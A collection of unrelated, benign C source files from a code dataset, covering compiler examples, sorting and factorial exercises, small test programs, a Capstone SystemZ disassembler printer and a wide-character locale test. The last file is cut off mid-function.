the_stack_data/694158.c | #include <stdio.h>
extern void lib1_function(void);
extern void lib2_function(void);
extern void moveable_function(void);
int main(void)
{
fprintf(stdout, "Hello from program.c\n");
fflush(stdout);
lib1_function();
lib2_function();
moveable_function();
return 0;
}
|
the_stack_data/176705614.c | //
// This file is part of the Bones source-to-source compiler examples. This C-code
// example is meant to illustrate the use of Bones. For more information on Bones
// use the contact information below.
//
// == More information on Bones
// Contact............Cedric Nugteren <[email protected]>
// Web address........http://parse.ele.tue.nl/bones/
//
// == File information
// Filename...........fusion/example05.c
// Author.............Cedric Nugteren
// Last modified on...11-October-2014
//
#include <stdio.h>
// This is 'example05', like example02 but with constant values.
int main(void) {
int i,j;
// Declare input/output arrays
int A[2048][1024];
int B[2048][1024];
int C[2048][1024];
// Set the input data
for(i=0;i<2048;i++) {
for(j=0;j<1024;j++) {
A[i][j] = i+j;
}
}
// Perform the computation
#pragma scop
#pragma species kernel A[0:2047,0:1023]|element -> B[0:2047,0:1023]|element
for(i=0;i<2048;i++) {
for(j=0;j<1024;j++) {
B[i][j] = A[i][j] + 3;
}
}
#pragma species endkernel example05-part1
#pragma species kernel A[0:2047,0:979]|element -> C[0:2047,0:979]|element
for(i=0;i<2048;i++) {
for(j=0;j<980;j++) {
C[i][j] = 9*A[i][j];
}
}
#pragma species endkernel example05-part2
#pragma endscop
// Clean-up and exit the function
fflush(stdout);
C[8][9] = C[8][9];
return 0;
}
|
the_stack_data/75138829.c | /* Loop illustration using different computations of factorial */
/* $begin 160-fact_do-c */
long fact_do(long n)
{
long result = 1;
do {
result *= n;
n = n-1;
} while (n > 1);
return result;
}
/* $end 160-fact_do-c */
/* $begin 160-fact_while-c */
long fact_while(long n)
{
long result = 1;
while (n > 1) {
result *= n;
n = n-1;
}
return result;
}
/* $end 160-fact_while-c */
/* $begin 160-fact_for-c */
long fact_for(long n)
{
long i;
long result = 1;
for (i = 2; i <= n; i++)
result *= i;
return result;
}
/* $end 160-fact_for-c */
/* $begin 160-fact_for_while-c */
long fact_for_while(long n)
{
long i = 2;
long result = 1;
while (i <= n) {
result *= i;
i++;
}
return result;
}
/* $end 160-fact_for_while-c */
/* $begin 160-fact_do_goto-c */
long fact_do_goto(long n)
{
long result = 1;
loop:
result *= n;
n = n-1;
if (n > 1)
goto loop;
return result;
}
/* $end 160-fact_do_goto-c */
/* $begin 160-fact_while_jm_goto-c */
long fact_while_jm_goto(long n)
{
long result = 1;
goto test;
loop:
result *= n;
n = n-1;
test:
if (n > 1)
goto loop;
return result;
}
/* $end 160-fact_while_jm_goto-c */
/* $begin 160-fact_while_gd_goto-c */
long fact_while_gd_goto(long n)
{
long result = 1;
if (n <= 1)
goto done;
loop:
result *= n;
n = n-1;
if (n != 1)
goto loop;
done:
return result;
}
/* $end 160-fact_while_gd_goto-c */
/* $begin 160-fact_for_jm_goto-c */
long fact_for_jm_goto(long n)
{
long i = 2;
long result = 1;
goto test;
loop:
result *= i;
i++;
test:
if (i <= n)
goto loop;
return result;
}
/* $end 160-fact_for_jm_goto-c */
/* $begin 160-fact_for_gd_goto-c */
long fact_for_gd_goto(long n)
{
long i = 2;
long result = 1;
if (n <= 1)
goto done;
loop:
result *= i;
i++;
if (i <= n)
goto loop;
done:
return result;
}
/* $end 160-fact_for_gd_goto-c */
/* $begin 160-rfact-c */
long rfact(long n)
{
long result;
if (n <= 1)
result = 1;
else
result = n * rfact(n-1);
return result;
}
/* $end 160-rfact-c */
|
the_stack_data/232132.c | // RUN: %layout_check %s
enum
{
SIGHUP,
SIGINT,
SIGQUIT,
SIGILL,
SIGTRAP,
SIGABRT,
SIGFPE,
SIGKILL,
SIGUSR1,
SIGSEGV,
SIGUSR2,
SIGPIPE,
SIGALRM,
SIGTERM,
SIGCHLD,
SIGCONT,
SIGSTOP,
SIGTSTP,
SIGTTIN,
SIGTTOU,
};
struct
{
const char *nam;
int msk;
} sigs[] = {
[0 ... 31 - 1] = { "?", 6 },
[SIGHUP].nam = "SIG""HUP",
[SIGINT].nam = "SIG""INT",
[SIGQUIT].nam = "SIG""QUIT",
[SIGILL].nam = "SIG""ILL",
[SIGTRAP].nam = "SIG""TRAP",
[SIGABRT].nam = "SIG""ABRT",
[SIGFPE].nam = "SIG""FPE",
[SIGKILL].nam = "SIG""KILL",
[SIGUSR1].nam = "SIG""USR1",
[SIGSEGV].nam = "SIG""SEGV",
[SIGUSR2].nam = "SIG""USR2",
[SIGPIPE].nam = "SIG""PIPE",
[SIGALRM].nam = "SIG""ALRM",
[SIGTERM].nam = "SIG""TERM",
[SIGCHLD].nam = "SIG""CHLD",
[SIGCONT].nam = "SIG""CONT",
[SIGSTOP].nam = "SIG""STOP",
[SIGTSTP].nam = "SIG""TSTP",
[SIGTTIN].nam = "SIG""TTIN",
[SIGTTOU].nam = "SIG""TTOU",
};
|
the_stack_data/179829525.c | /* ACM 10189 Minesweeper
* mythnc
* 2011/11/29 15:25:38
* version 2
* run time: 0.016
*/
#include <stdio.h>
#define MAXLEN 100
/* if position (x, y) is not '*' */
#define NOTSTAR(f, x, y) if (f[x][y] != '*') f[x][y]++
void dtoz(char (*)[]);
void findstar(char (*)[]);
void add(char (*)[], int, int);
int row, col;
int main(void)
{
char field[MAXLEN][MAXLEN + 1];
int i, set;
set = 0;
while (scanf("%d %d", &row, &col) == 2) {
if (row == 0 && col== 0)
return 0;
for (i = 0; i < row; i++)
scanf("%s", field[i]);
dtoz(field);
findstar(field);
/* output */
if (set > 0)
printf("\n");
printf("Field #%d:\n", ++set);
for (i = 0; i < row; i++)
printf("%s\n", field[i]);
}
}
/* dtoz: change dot to '0' */
void dtoz(char (*field)[MAXLEN + 1])
{
int i, j;
for (i = 0; i < row; i++)
for (j = 0; j < col; j++)
if (field[i][j] == '.')
field[i][j] = '0';
}
/* findstar: find the position of '*' */
void findstar(char (*f)[MAXLEN + 1])
{
int i, j;
for (i = 0; i < row; i++)
for (j = 0; j < col; j++)
if (f[i][j] == '*')
add(f, i, j);
}
/* position: add one to the fields surround of '*' */
void add(char (*f)[MAXLEN + 1], int i, int j)
{
int mover[] = {1, 1, 1, 0, -1, -1, -1, 0};
int movec[] = {-1, 0, 1, 1, 1, 0, -1, -1};
int k, x, y;
for (k = 0; k < 8; k++) {
x = i + mover[k];
y = j + movec[k];
if (x >= 0 && x < row && y >= 0 && y < col)
NOTSTAR(f, x, y);
}
}
|
the_stack_data/142697.c | /*
Autor: Maynor Ballina
Fecha: Fri May 7 12:27:54 CST 2021
compilador: gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
Para Compilar: gcc -o metodosnumericoP2 metodosnumericoP2.c
Version: 1.0
librerias: stdio (u otras)
Resumen: Metodo numerico de taylor
*/
//Librerias
#include <stdio.h>
#include <math.h>
//Declaracion e inicializacion de variables globales
float f(float t, float y);
float df(float t, float y);
float politaylor(float t, float y, float h);
float mntaylor(float a, float b, float n);
void main(){
float a=0, b=2;
int n;
puts("ingrese el numero de iteraciones");
scanf("%d",&n);
printf("El valor es: %f\n",mntaylor(a,b,n));
}
float f(float t, float y){
float res=0;
res = y-pow(t,2)+1;
return res;
}
float df(float t, float y){
float res=0;
res = f(t,y)-2*t;
return res;
}
float politaylor(float t, float y, float h){
float res=0;
res = f(t,y)+h/2*df(t,y);
return res;
}
float mntaylor(float a, float b, float n){
float h,t,w=0,y;
h=(b-a)/n;
t=a;
y=0.5;
for (int i = 0; i < n; i++)
{
w+=h*politaylor(t,y,h);
t+=h;
y=w;
}
return y;
} |
the_stack_data/15762444.c | #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
//ref https://www.geeksforgeeks.org/radix-sort/
int findMax(int a[], int n)
{
int i, x;
x = INT32_MIN;
for (i = 0;i < n;i++) {
if(a[i] > x)
x = a[i];
}
return x;
}
void Count(int a[], int n, int exp)
{
int output[n]; // output array
int i, count[10] = {0};
// Store count of occurrences in count[]
for (i = 0; i < n; i++)
count[ (a[i]/exp)%10 ]++;
// Change count[i] so that count[i] now contains actual
// position of this digit in output[]
for (i = 1; i < 10; i++)
count[i] += count[i - 1];
// Build the output array
for (i = n - 1; i >= 0; i--)
{
output[count[ (a[i]/exp)%10 ] - 1] = a[i];
count[ (a[i]/exp)%10 ]--;
}
// Copy the output array to arr[], so that arr[] now
// contains sorted numbers according to current digit
for (i = 0; i < n; i++)
a[i] = output[i];
}
void Radix(int arr[], int n)
{
// Find the maximum number to know number of digits
int m = findMax(arr, n);
int exp;
// Do counting sort for every digit. Note that instead
// of passing digit number, exp is passed. exp is 10^i
// where i is current digit number
for (exp = 1; m/exp > 0; exp *= 10)
Count(arr, n, exp);
}
int main()
{
int a[] = {11,13,7,12,16,9,24,5,10,3};
int n = 10;
int i;
Radix(a, n);
for(i=0;i<10;i++)
printf("%d ", a[i]);
printf("\n");
return 0;
}
|
the_stack_data/22964.c |
void f_if_1(int i) {
if (i) {
;
} else {
;
}
}
void f_if_2(void) {
if (1) {
;
} else {
;
}
}
void f_if_3(void) {
if (0) {
;
} else {
;
}
}
void f_for_1(void) {
int i;
for(i = 0; i < 10; i++) {
;
}
return;
}
void f_for_2(void) {
int i;
for(i = 0; 1; i++) {
;
}
return;
}
void f_for_3(void) {
int i;
for(i = 0; 0; i++) {
;
}
return;
}
void f_while_1(int i) {
while(i) {
i--;
}
return;
}
void f_while_2(void) {
while(1) {
;
}
return;
}
void f_while_3(void) {
while(0) {
;
}
return;
}
void f_do_1(int i) {
do {
i--;
} while (i);
return;
}
void f_do_2(void) {
do {
;
} while (1);
return;
}
void f_do_3(void) {
do {
;
} while (0);
return;
}
void f_cond_1(int i) {
int j = i ? 3 : 4;
return;
}
void f_cond_2(void) {
int j = 1 ? 3 : 4;
return;
}
void f_cond_3(void) {
int j = 0 ? 3 : 4;
return;
}
void f_switch_1(int i) {
switch(i) {
case 0:
return;
case 1:
return;
case 2:
case 3:
;
case 4:
return;
default:
return;
}
return;
}
void f_switch_2(int i) {
switch(i) {
case 0:
return;
case 1:
return;
case 2:
case 3:
;
case 4:
return;
}
return;
}
void f_switch_3(void) {
switch(1) {
case 0:
return;
case 1:
return;
case 2:
case 3:
;
case 4:
return;
default:
return;
}
return;
}
void f_switch_4(void) {
switch(1) {
case 0:
return;
case 1:
return;
case 2:
case 3:
;
case 4:
return;
}
return;
}
void f_switch_5(void) {
switch(9) {
case 0:
return;
case 1:
return;
case 2:
case 3:
;
case 4:
return;
default:
return;
}
return;
}
void f_switch_6(void) {
switch(9) {
case 0:
return;
case 1:
return;
case 2:
case 3:
;
case 4:
return;
}
return;
}
void f_switch_7(int i) {
switch(i ? 1 : 3) {
case 0:
return;
case 1:
return;
case 2:
case 3:
;
case 4:
return;
}
return;
}
|
the_stack_data/225142229.c | #include<stdio.h>
int main(){
int n;
float k, m;
double s = 0;
scanf("%f", &k);
for(n=1;n>0;n++){
m = n;
s += (1.0 / m);
if (s > k){
printf("%d", n);
return 0;
}
}
} |
the_stack_data/151705470.c | /*
* Copyright (c) 2017, 2018, Oracle and/or its affiliates.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
void foo(int ***pppa) {
pppa += 1;
pppa = pppa - 1;
*pppa = *pppa + 1;
*pppa -= 1;
**pppa = **pppa + 1;
**pppa -= 1;
***pppa = 23;
}
int main() {
int a = 1;
int *pa = &a;
int **ppa = &pa;
int ***pppa = &ppa;
foo(pppa);
return a;
}
|
the_stack_data/626505.c | //===-- SystemZInstPrinter.cpp - Convert SystemZ MCInst to assembly syntax --------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This class prints an SystemZ MCInst to a .s file.
//
//===----------------------------------------------------------------------===//
/* Capstone Disassembly Engine */
/* By Nguyen Anh Quynh <[email protected]>, 2013-2015 */
#ifdef CAPSTONE_HAS_SYSZ
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <capstone/platform.h>
#include "SystemZInstPrinter.h"
#include "../../MCInst.h"
#include "../../utils.h"
#include "../../SStream.h"
#include "../../MCRegisterInfo.h"
#include "../../MathExtras.h"
#include "SystemZMapping.h"
static const char *getRegisterName(unsigned RegNo);
void SystemZ_post_printer(csh ud, cs_insn *insn, char *insn_asm, MCInst *mci)
{
/*
if (((cs_struct *)ud)->detail != CS_OPT_ON)
return;
*/
}
static void printAddress(MCInst *MI, unsigned Base, int64_t Disp, unsigned Index, SStream *O)
{
printInt64(O, Disp);
if (Base) {
SStream_concat0(O, "(");
if (Index)
SStream_concat(O, "%%%s, ", getRegisterName(Index));
SStream_concat(O, "%%%s)", getRegisterName(Base));
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_MEM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.base = (uint8_t)SystemZ_map_register(Base);
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.index = (uint8_t)SystemZ_map_register(Index);
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.disp = Disp;
MI->flat_insn->detail->sysz.op_count++;
}
} else if (!Index) {
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = Disp;
MI->flat_insn->detail->sysz.op_count++;
}
} else {
SStream_concat(O, "(%%%s)", getRegisterName(Index));
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_MEM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.base = (uint8_t)SystemZ_map_register(Base);
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.index = (uint8_t)SystemZ_map_register(Index);
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.disp = Disp;
MI->flat_insn->detail->sysz.op_count++;
}
}
}
static void _printOperand(MCInst *MI, MCOperand *MO, SStream *O)
{
if (MCOperand_isReg(MO)) {
unsigned reg;
reg = MCOperand_getReg(MO);
SStream_concat(O, "%%%s", getRegisterName(reg));
reg = SystemZ_map_register(reg);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_REG;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].reg = reg;
MI->flat_insn->detail->sysz.op_count++;
}
} else if (MCOperand_isImm(MO)) {
int64_t Imm = MCOperand_getImm(MO);
printInt64(O, Imm);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = Imm;
MI->flat_insn->detail->sysz.op_count++;
}
}
}
static void printU1ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
int64_t Value = MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isUInt<1>(Value) && "Invalid u1imm argument");
printInt64(O, Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printU2ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
int64_t Value = MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isUInt<2>(Value) && "Invalid u2imm argument");
printInt64(O, Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printU3ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
int64_t Value = MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isUInt<3>(Value) && "Invalid u4imm argument");
printInt64(O, Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printU4ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
int64_t Value = MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isUInt<4>(Value) && "Invalid u4imm argument");
printInt64(O, Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printU6ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
uint32_t Value = (uint32_t)MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isUInt<6>(Value) && "Invalid u6imm argument");
printUInt32(O, Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = (int64_t)Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printS8ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
int8_t Value = (int8_t)MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isInt<8>(Value) && "Invalid s8imm argument");
if (Value >= 0) {
if (Value > HEX_THRESHOLD)
SStream_concat(O, "0x%x", Value);
else
SStream_concat(O, "%u", Value);
} else {
if (Value < -HEX_THRESHOLD)
SStream_concat(O, "-0x%x", -Value);
else
SStream_concat(O, "-%u", -Value);
}
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = (int64_t)Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printU8ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
uint8_t Value = (uint8_t)MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isUInt<8>(Value) && "Invalid u8imm argument");
if (Value > HEX_THRESHOLD)
SStream_concat(O, "0x%x", Value);
else
SStream_concat(O, "%u", Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = (int64_t)Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printU12ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
int64_t Value = MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isUInt<12>(Value) && "Invalid u12imm argument");
printInt64(O, Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printS16ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
int16_t Value = (int16_t)MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isInt<16>(Value) && "Invalid s16imm argument");
if (Value >= 0) {
if (Value > HEX_THRESHOLD)
SStream_concat(O, "0x%x", Value);
else
SStream_concat(O, "%u", Value);
} else {
if (Value < -HEX_THRESHOLD)
SStream_concat(O, "-0x%x", -Value);
else
SStream_concat(O, "-%u", -Value);
}
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = (int64_t)Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printU16ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
uint16_t Value = (uint16_t)MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isUInt<16>(Value) && "Invalid u16imm argument");
if (Value > HEX_THRESHOLD)
SStream_concat(O, "0x%x", Value);
else
SStream_concat(O, "%u", Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = (int64_t)Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printS32ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
int32_t Value = (int32_t)MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isInt<32>(Value) && "Invalid s32imm argument");
printInt32(O, Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = (int64_t)Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printU32ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
uint32_t Value = (uint32_t)MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isUInt<32>(Value) && "Invalid u32imm argument");
printUInt32(O, Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = (int64_t)Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printU48ImmOperand(MCInst *MI, int OpNum, SStream *O)
{
int64_t Value = MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(isUInt<48>(Value) && "Invalid u48imm argument");
printInt64(O, Value);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = Value;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printPCRelOperand(MCInst *MI, int OpNum, SStream *O)
{
MCOperand *MO = MCInst_getOperand(MI, OpNum);
if (MCOperand_isImm(MO)) {
int64_t imm = (int64_t)MCOperand_getImm(MO);
printInt64(O, imm);
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_IMM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].imm = imm;
MI->flat_insn->detail->sysz.op_count++;
}
}
}
static void printPCRelTLSOperand(MCInst *MI, int OpNum, SStream *O)
{
// Output the PC-relative operand.
printPCRelOperand(MI, OpNum, O);
}
static void printOperand(MCInst *MI, int OpNum, SStream *O)
{
_printOperand(MI, MCInst_getOperand(MI, OpNum), O);
}
static void printBDAddrOperand(MCInst *MI, int OpNum, SStream *O)
{
printAddress(MI, MCOperand_getReg(MCInst_getOperand(MI, OpNum)),
MCOperand_getImm(MCInst_getOperand(MI, OpNum + 1)), 0, O);
}
static void printBDXAddrOperand(MCInst *MI, int OpNum, SStream *O)
{
printAddress(MI, MCOperand_getReg(MCInst_getOperand(MI, OpNum)),
MCOperand_getImm(MCInst_getOperand(MI, OpNum + 1)),
MCOperand_getReg(MCInst_getOperand(MI, OpNum + 2)), O);
}
static void printBDLAddrOperand(MCInst *MI, int OpNum, SStream *O)
{
unsigned Base = MCOperand_getReg(MCInst_getOperand(MI, OpNum));
uint64_t Disp = (uint64_t)MCOperand_getImm(MCInst_getOperand(MI, OpNum + 1));
uint64_t Length = (uint64_t)MCOperand_getImm(MCInst_getOperand(MI, OpNum + 2));
if (Disp > HEX_THRESHOLD)
SStream_concat(O, "0x%"PRIx64, Disp);
else
SStream_concat(O, "%"PRIu64, Disp);
if (Length > HEX_THRESHOLD)
SStream_concat(O, "(0x%"PRIx64, Length);
else
SStream_concat(O, "(%"PRIu64, Length);
if (Base)
SStream_concat(O, ", %%%s", getRegisterName(Base));
SStream_concat0(O, ")");
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_MEM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.base = (uint8_t)SystemZ_map_register(Base);
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.length = Length;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.disp = (int64_t)Disp;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printBDRAddrOperand(MCInst *MI, int OpNum, SStream *O)
{
unsigned Base = MCOperand_getReg(MCInst_getOperand(MI, OpNum));
uint64_t Disp = (uint64_t)MCOperand_getImm(MCInst_getOperand(MI, OpNum + 1));
uint64_t Length = MCOperand_getReg(MCInst_getOperand(MI, OpNum + 2));
if (Disp > HEX_THRESHOLD)
SStream_concat(O, "0x%"PRIx64, Disp);
else
SStream_concat(O, "%"PRIu64, Disp);
SStream_concat0(O, "(");
SStream_concat(O, "%%%s", getRegisterName(Length));
if (Base)
SStream_concat(O, ", %%%s", getRegisterName(Base));
SStream_concat0(O, ")");
if (MI->csh->detail) {
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].type = SYSZ_OP_MEM;
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.base = (uint8_t)SystemZ_map_register(Base);
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.length = (uint8_t)SystemZ_map_register(Length);
MI->flat_insn->detail->sysz.operands[MI->flat_insn->detail->sysz.op_count].mem.disp = (int64_t)Disp;
MI->flat_insn->detail->sysz.op_count++;
}
}
static void printBDVAddrOperand(MCInst *MI, int OpNum, SStream *O)
{
printAddress(MI, MCOperand_getReg(MCInst_getOperand(MI, OpNum)),
MCOperand_getImm(MCInst_getOperand(MI, OpNum + 1)),
MCOperand_getReg(MCInst_getOperand(MI, OpNum + 2)), O);
}
static void printCond4Operand(MCInst *MI, int OpNum, SStream *O)
{
static const char *const CondNames[] = {
"o", "h", "nle", "l", "nhe", "lh", "ne",
"e", "nlh", "he", "nl", "le", "nh", "no"
};
uint64_t Imm = MCOperand_getImm(MCInst_getOperand(MI, OpNum));
// assert(Imm > 0 && Imm < 15 && "Invalid condition");
SStream_concat0(O, CondNames[Imm - 1]);
if (MI->csh->detail)
MI->flat_insn->detail->sysz.cc = (sysz_cc)Imm;
}
#define PRINT_ALIAS_INSTR
#include "SystemZGenAsmWriter.inc"
void SystemZ_printInst(MCInst *MI, SStream *O, void *Info)
{
printInstruction(MI, O, Info);
}
#endif
|
the_stack_data/7950342.c | /* Based on a test program by Won Kyu Park <[email protected]>. */
#include <wchar.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wctype.h>
#include <locale.h>
int
main (void)
{
int test = 0;
int idx = 0;
char buf[100], *pchar;
wchar_t tmp[10];
wchar_t tmp1[] = { L'W', L'o', L'r', L'l', L'd', L'\0' };
char str[] = "Hello";
int result = 0;
pchar = setlocale (LC_ALL, "de_DE.UTF-8");
printf ("locale : %s\n",pchar);
printf ("MB_CUR_MAX %Zd\n", MB_CUR_MAX);
puts ("---- test 1 ------");
test = mbstowcs (tmp, str, (strlen (str) + 1) * sizeof (char));
printf ("size of string by mbstowcs %d\n", test);
if (test != strlen (str))
result = 1;
idx += wctomb (&buf[0], tmp[0]);
idx += wctomb (&buf[idx], tmp[1]);
buf[idx] = 0;
printf ("orig string %s\n", str);
printf ("string by wctomb %s\n", buf);
printf ("string by %%C %C", (wint_t) tmp[0]);
if (tmp[0] != L'H')
result = 1;
printf ("%C\n", (wint_t) tmp[1]);
if (tmp[1] != L'e')
result = 1;
printf ("string by %%S %S\n", tmp);
if (wcscmp (tmp, L"Hello") != 0)
result = 1;
puts ("---- test 2 ------");
printf ("wchar string %S\n", tmp1);
printf ("wchar %C\n", (wint_t) tmp1[0]);
